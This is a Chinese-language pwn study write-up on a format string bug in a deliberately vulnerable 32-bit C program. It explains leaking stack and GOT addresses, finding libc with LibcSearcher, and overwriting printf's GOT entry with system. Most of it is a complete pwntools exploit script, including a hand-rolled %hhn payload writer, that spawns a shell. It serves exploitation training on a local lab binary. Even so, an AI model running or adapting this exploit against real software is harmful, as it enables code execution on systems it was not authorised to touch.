Pwn 学习 fmt_str_level_1_x86 格式化字符串
1.checksec
- 保护全开
- 这也是格式化字符串常见类型
2.源码
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
int init_func(){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
return 0;
}
int dofunc(){
char buf[0x100];
while (1){
puts("input:");
read(0, buf, 0x100);
if( !strncmp(buf, "quit", 4) ){
break;
}
printf(buf);
}
return 0;
}
int main(){
init_func();
dofunc();
return 0;
}
3.编译
gcc -m32 -fstack-protector fmt_str_level_1.c -o fmt_str_level_1_x86
4.漏洞分析
4.1.格式化字符串
- 可以看到这里有无格式的printf函数
- 可以利用利用这个函数来实现格式化字符串
4.2.利用过程
第一次泄露
- 泄露rbp下的main函数返回地址
- 由此计算main函数的真实地址
- 通过elf读取静态elf文件,获取静态偏移 main-puts_got
- 再计算动态puts函数的got表项地址
第二次泄露
- 使用%s泄露puts函数的真实地址
- 通过LibcSearcher寻找libc版本
- 通过libc.dump函数寻找libc中puts函数的地址
- 再通过puts函数的动态地址减去libc中的puts函数的地址计算的到libc的基地址
- 通过libc的基地址计算system函数的地址以及bin/sh的地址
- 通过elf读取静态elf文件计算printf函数的真实地址
第三次泄露
- 利用pwntools自带的fmtstr_payload构造payload
- 将printf的真实地址填充到payload中
- 发送payload
- 即可获取shell
5.gdb动态调试
5.1.查看格式化字符串偏移
- 使用经典调试大法
- 此时可以看出第7个%p即可泄露栈上的内容
5.2.泄露main函数地址
- 这里已经成功泄露main+41的地址
- main_addr = main_41 - 41
5.3.计算puts_real_got_addr
main_30 = int(io.recv()[2:10], 16)
main_real_addr = main_30 - 30
offset = elf.symbols['main'] - elf.got['puts']
puts_real_got_addr = main_real_addr - offset - 0xb # 这个0xb是在调试中减去的,可能是因为版本的问题
5.4.泄露puts_real_addr
payload_search_bass = flat([puts_got, b'%7$s\x00'])
5.5.泄露libc版本
libc = LibcSearcher('puts', puts_real_addr)
libc_base_addr = puts_real_addr - libc.dump('puts')
print('libc_base_addr is ', hex(libc_base_addr))
sys_addr = libc_base_addr + libc.dump('system')
print('sys_addr is ', hex(sys_addr))
addr_bin_sh = libc_base_addr + libc.dump('str_bin_sh')
5.6.计算printf函数地址
offset_addr_of_printf = elf.symbols['main'] - elf.got['printf']
printf_real_got_addr = main_real_addr - offset_addr_of_printf -11
5.6.fmtstr_payload构造写got的payload
payload_pwntools_create_set_stack = fmtstr_payload(7, {printf_real_got_addr : sys_addr})
5.7.发送payload即可执行shell
6.exp
from pwn import *
from LibcSearcher import *
# log_level='debug',
def fmt(prev, word, index):
fmtstr = ""
if prev < word:
result = word - prev
fmtstr += "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word -prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr.encode('utf-8')
def fmt_str(offset, size, addr, target):
# offset pianyi
# size 4 or others
# addr : write to addr
# target : content of writing
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
'''
pwntools工具: fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用&n写入的数据, 采用字典形式,格式目标地址:准备修改的值}
第三个参数表示已经输出的字符个数, 这里没有, 为0, 采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hn写。fmtstr payload函数返回的就是payload
payload = fmtstr payload (offset, { addressl:valuel} )
'''
context(log_level='debug', arch='i386', os='linux')
pwnfile = './fmt_str_level_1_x86'
elf = ELF(pwnfile)
#libc = elf.libc
io = process(pwnfile)
payload_search_main = b'%75$p\x00'
io.recvuntil('input:\n')
io.send(payload_search_main)
main_30 = int(io.recv()[2:10], 16)
main_real_addr = main_30 - 30
offset = elf.symbols['main'] - elf.got['puts']
puts_got = main_real_addr - offset - 0xb
print('puts_got_addr is ',hex(puts_got))
payload_search_bass = flat([puts_got, b'%7$s\x00'])
#gdb.attach(io)
io.send(payload_search_bass)
io.recv(4)
puts_real_addr = u32(io.recv(4))
print('puts_real_addr is ', hex(puts_real_addr))
libc = LibcSearcher('puts', puts_real_addr)
libc_base_addr = puts_real_addr - libc.dump('puts')
print('libc_base_addr is ', hex(libc_base_addr))
sys_addr = libc_base_addr + libc.dump('system')
print('sys_addr is ', hex(sys_addr))
addr_bin_sh = libc_base_addr + libc.dump('str_bin_sh')
print('addr_bin_sh is ', hex(addr_bin_sh))
offset_addr_of_printf = elf.symbols['main'] - elf.got['printf']
printf_real_got_addr = main_real_addr - offset_addr_of_printf -11
# 013-008
print('printf_real_got_addr is:', hex(printf_real_got_addr))
system_addr_str = str(hex(sys_addr))
#system_addr_bytes = system_addr_str.encode('utf-8')
#payload_set_stack = p32(printf_real_got_addr) + p32(printf_real_got_addr + 1) + p32(printf_real_got_addr + 2) + p32(printf_real_got_addr + 3) + b_1 + b_2 + b_3 + b_4
#payload_set_stack = p32(printf_real_got_addr) + b"%" + system_addr_bytes + b"c%7$n\x00"
# payload_set_stack = fmt_str(7, 4, printf_real_got_addr, sys_addr)
payload_pwntools_create_set_stack = fmtstr_payload(7, {printf_real_got_addr : sys_addr})
io.recvuntil('input:\n')
gdb.attach(io)
io.send(payload_pwntools_create_set_stack)
io.interactive()